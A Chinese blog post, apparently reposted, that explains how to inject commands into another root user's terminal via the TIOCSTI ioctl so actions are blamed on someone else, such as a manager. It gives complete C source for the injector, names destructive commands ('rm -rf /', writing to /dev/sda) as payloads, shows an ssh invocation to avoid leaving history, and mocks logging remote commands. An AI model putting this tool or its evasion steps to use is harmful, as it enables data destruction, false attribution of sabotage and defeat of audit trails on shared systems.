首页 > 编程知识 正文

linux使用其他用户运行命令,linux向其他主机发送命令

时间:2023-05-03 21:36:56 阅读:251127 作者:1699

你想偷偷摸摸干点不好的事吗?

我的意思是,你干点坏事,比如把机器给halt,比重要文件删了,然后让人觉得这是别人干的,说白了,就是嫁祸于人,特别是经理,你想吗?

本文我将提供一个比较low的偏门技巧。

很多情况下,我们都用root登录一台服务器,并且不止一个人以root登录,像这样:

可以看到分别打开了两个tty终端:

我们希望在别人打开的其它终端中执行一些可怕的命令,比如 “rm -rf /”“echo aaa >/dev/sda” … 当有人查起来,趁着程序还在内存中,你可以说, “不是我干的啊,是经理干的啊,不信,你去看看经理终端的history!”

嗯!

好了,现在,我希望在pts/1上输入一个命令,让它在pts/0上执行。效果是这样子的:

你可能觉得还需要考虑如何隐藏掉下面的history:

7 ./a.out /dev/pts/0 pwd

简单,直接在另一台你自己的机器上搞呗:

ssh root@192.168.56.110 "/root/a.out /dev/pts/0 'echo 经理的皮鞋不会胖'"

你看,干干净净:

如何做到的呢?

秘密就在a.out中了。

这是一个非常简单的程序,代码如下:

#include <stdio.h>#include <sys/ioctl.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <string.h>int main(int argc, char **argv){ char tty[16] = {0}; char cmd[64] = {0}; char tmp[2] = {0}; int len, i; int fd; strncpy(tty, argv[1], strlen(argv[1])); strncpy(cmd, argv[2], strlen(argv[2])); len = strlen(cmd); fd = open(tty, O_RDWR); for (i = 0; i < len; i++) { sprintf(tmp, "%c ", cmd[i]); ioctl(fd, TIOCSTI, tmp); } ioctl(fd, TIOCSTI, "n ");}

当然,你可以 替别人(特别是经理) 执行任何命令,毕竟你们都是root嘛…

还不赶紧去试试?

开玩笑了,这篇文章其实没有什么技术含量,你只要知道TIOCSTI这个command就能写出这程序,这一点我在很久之前的文章里就有说过:
https://blog.csdn.net/dog250/article/details/5692612

所以说,也就不要纠结这程序在没有root的时候没有用了…没有root给你给终端你也干不了什么坏事,所谓的坏事就是大家都有root的情况相互甩锅,抵赖。

另外,也不要总想着通过配置sshd来记录ssh远程执行的命令从而缉拿真正的捣乱分子,只是玩玩儿,何必什么事都当真去较真儿呢?

浙江温州皮鞋湿,下雨进水不会胖。

详解docker pull 下来的镜像都存到了哪里北京idc托管价格执行Struts2的流程是什么

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。